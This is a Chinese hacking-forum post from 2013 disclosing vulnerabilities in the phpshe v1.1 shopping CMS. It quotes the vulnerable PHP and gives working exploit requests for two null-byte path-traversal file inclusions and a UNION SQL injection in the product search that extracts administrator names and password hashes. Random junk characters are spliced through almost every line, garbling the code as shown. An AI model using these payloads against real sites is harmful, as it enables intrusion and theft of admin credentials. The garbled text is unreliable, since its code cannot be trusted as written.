找回密码
 立即注册
查看: 2868|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
  f: _6 S. a0 X9 {$ I6 L% `7 i/* Phpshe v1.1 Vulnerability
) s( @5 t% A. H  F/* ========================! [1 _" O6 h* Q6 R. q
/* By: : Kn1f3
( I% v% a' ?3 U2 _& ^% x7 w/* E-Mail : 681796@qq.com0 X5 {1 b$ R, n" f* R# A
/*******************************************************/
4 v: F! ?9 b* F# K! h+ M0 n0×00 整体大概参数传输! j: s! ?* r9 Q7 T. g" E9 {6 O6 _3 g

7 m% _' f- B) ?" @8 ~4 o8 L
7 M+ C" l1 T1 E( m* E) T# \5 T

2 o: [% V% J% r//common.php8 j/ f1 ~. z" a: f7 x: q+ S
if (get_magic_quotes_gpc()) {
9 D( G4 [+ J% o4 c!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
- J6 H; Y) Z. u  }- j!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
3 v) N' T- Q; R+ K4 G+ t}
) b! V5 o/ i: z1 A: d" ielse {
1 M3 v  B$ \5 f# t!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
* h; t# t& v. d/ @) W( N* T!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
8 ~& b# b* s8 U}
8 e) f1 W/ T  v, p& ?+ qsession_start();
2 z5 S) `) b- [1 x!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
8 N9 [; j0 O/ K, j) i/ [!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');/ h. _: r( G& B4 y6 m
" r. {% p  g% W) F
0×01 包含漏洞; v7 f+ v8 S) Z, i; r5 a

4 c/ E/ Z. h& l! k0 B7 N
% D. j- u' S, y2 `* I
//首页文件  \4 Y" V# t# ^" l, l( C4 K' h
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
  U% n9 D0 c, `, P4 pinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
' V' H9 r: ?8 V4 E+ P' K( dpe_result();
. C6 S- s5 A7 e  J?>
; R# d# U9 e7 Y$ R4 N//common 文件 第15行开始; V3 J6 ^% C& E' R0 }2 J+ q6 S
url路由配置
/ G, u9 G& `% ~4 ?2 `1 z* n$module = $mod = $act = 'index';
8 f, H' a; S- _7 M$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);3 }5 i$ e1 {+ v* |; ]# X& ?
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
( e- i8 C2 [- T. z* C$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
6 V, w1 x" ~. k# u( C  ?$ h4 u* N//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
3 j3 v2 p  p$ p+ Y/ A  o


' y) [: Q; I6 ^- H3 J9 K  ]
. F  X9 p+ V1 L$ O% C9 d( n) J8 d 0×02 搜索注入
$ p# J2 D+ t* X( f4 Z/ K* l
6 C: b* v/ j) @. G' X3 k<code id="code2">

//product.php文件2 }$ @9 y/ \: M" A
case 'list':; [  h( i4 q; w6 |0 n/ G) ?
$category_id = intval($id);3 e5 l& z4 g! @9 |; k
$info = $db->pe_select('category', array('category_id'=>$category_id));2 M9 y  l: q/ N* I
//搜索; b  `+ b* x1 {7 p( V# }% o# s
$sqlwhere = " and `product_state` = 1";
0 H/ K- R) [, w+ P  x8 Vpe_lead('hook/category.hook.php');, Y" b8 {) i1 z5 @1 C* e% [
if ($category_id) {5 x; M( t& o+ T+ U3 t
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";! X; D# x- o; F0 p7 |( `# _$ q+ f
}
- c' z$ S- |9 K) e' h( E$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤% @3 J. Z# U' d0 Z
if ($_g_orderby) {
& K. B2 r1 z6 k4 d7 k8 \! r$orderby = explode('_', $_g_orderby);
( y& s# v' g0 r$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";* L7 S% X- G7 A/ z8 C. K. f" J2 ?
}: Z( l, V0 j" [" M1 c
else {) N+ O6 W0 G- {" d. w6 J3 Z
$sqlwhere .= " order by `product_id` desc";
8 I0 q7 p; v. s2 h}
+ m" _- `1 V4 _4 e# R1 G9 x$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));- u# `6 C+ O, R4 W4 X4 h3 b
//热卖排行) K5 X; {8 C* a7 A& n
$product_hotlist = product_hotlist();! T4 a' H0 x* D
//当前路径- P9 `1 s- O# h/ q# y/ M
$nowpath = category_path($category_id);8 H0 F' f0 t( j7 a: x9 G% t, m
$seo = pe_seo($info['category_name']);/ W8 P  C/ D) ?; e
include(pe_tpl('product_list.html'));
% Y) a: A6 }+ {9 c1 a- U//跟进selectall函数库. u9 W3 U7 m& ]9 O% P  R
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
4 T/ S/ j6 |# W$ Q6 _1 k6 S+ b{
5 s' d% x7 M  u, f! O- Y//处理条件语句
9 T* `* P; W$ p$sqlwhere = $this->_dowhere($where);' P' i1 H( ?6 T
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);: J: z4 X6 L) n; d
}
$ b; Z( q7 B& i6 }, t, J3 q//exp! r' }6 ^; V1 a9 P( B0 \4 G
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1" h2 o% [! U# s) ~" z

</code>
: _) L% J* G+ |7 G) A! O; p  ] ) m5 \3 {0 E/ j! F+ `
0×03 包含漏洞2
. W, k% J7 P& |* r0 L; _4 m
- K& {/ V# u" Y$ f<code id="code3">

//order.php

case 'pay':


  C* q, s& }7 f: o3 g  O5 R  @$order_id = pe_dbhold($_g_id);


0 O& w, s2 B- z; }$ r$cache_payway = cache::get('payway');

$ C" {* u/ _1 t2 d- _- O( M9 a
foreach($cache_payway as $k => $v) {

( J' e5 ^' Y3 ^& r; ^& s$ N2 {# i! X2 Q
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

) g% [" s, F! }4 a8 A
if ($k == 'bank') {

2 e( B7 }  q- P) j- f% I8 _+ J
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

8 w4 _8 ?! ^, a
}


, K: L+ M, ]& h# n9 c; A- |! y}


! l2 u! H: D1 V5 {% S$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

4 G( E! K) i, `6 o0 D$ _
!$order['order_id'] && pe_error('订单号错误...');


6 L7 j4 F7 c/ [" B1 nif (isset($_p_pesubmit)) {

0 ^4 b' G  o: G5 T
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

3 R1 S: I) j( ^! y4 t# q
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

; X5 i/ m* Q, h; r& N
foreach ($info_list as $v) {


2 Z  O8 Q9 C# e/ n  U  ~; A$order['order_name'] .= "{$v['product_name']};";
" q$ v. ]! D; {4 H


) L  Y- x4 d6 _' G7 c4 H6 v}


* ~4 ]) r" ?. f3 j9 N$ J( Y  b# gecho '正在为您连接支付网站,请稍后...';


. Y9 R+ V# g. i1 Ginclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


% c2 `0 S% Q- H+ t( Q}//当一切准备好的时候就可以进行"鸡肋包含了"

" w8 p( r. |. e( T4 k! @; N
else {


+ D0 b1 K' h7 |, D" M  Q. g! s$ Kpe_error('支付错误...');

3 Y! [' Y* `3 T
}


3 a0 v; K3 G% d; f% d$ e}


; M, w6 h" R: \- y* X5 Q$seo = pe_seo('选择支付方式');


  g% ~2 \0 e+ _) tinclude(pe_tpl('order_pay.html'));

' F5 Q9 ~  k/ J' i( ~
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>2 W9 H9 @+ d2 l+ U+ ^
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表